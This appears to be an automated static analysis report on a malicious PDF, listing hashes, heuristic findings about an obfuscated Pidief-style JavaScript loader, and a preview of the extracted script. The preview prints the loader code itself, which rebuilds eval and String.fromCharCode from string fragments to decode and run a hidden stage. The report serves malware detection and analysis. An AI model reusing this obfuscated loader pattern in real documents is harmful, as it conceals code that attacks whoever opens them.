Malicious PDF — malware analysis report

Static analysis result for SHA-256 ef8c7151c4ed025c…

MALICIOUS

PDF

45.1 KB Authoring application: substr First seen: 2026-05-09
MD5: f80ccf3aed2dee0bf74a5134ed3fc2e1 SHA-1: cb133f7718a2ce267b2203905f45ae9149e844d5 SHA-256: ef8c7151c4ed025c08e6b7bc1f1e6704469192da7b83172c8a8c1e38f44bb718
86 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not detailed in the provided evidence. The document body 'substr split test' provides no contextual clues.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1DB 442 bytes
SHA-256: 02e8ba534c4ff01c03d99798d0e513e7575956e6ced3361cc16970027c6f18ef
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
kcjy=e('ti'.concat(v[4],t));
q=kcjy[v](a.length-6,a.length+2);
wxjz=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=kcjy[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	kdm = 1*(q[i]);
	i++;
	kdm -= (-1)*(q[i]);
	s2 = s2.concat(wxjz(kdm));
	i++;
}
e(s2);

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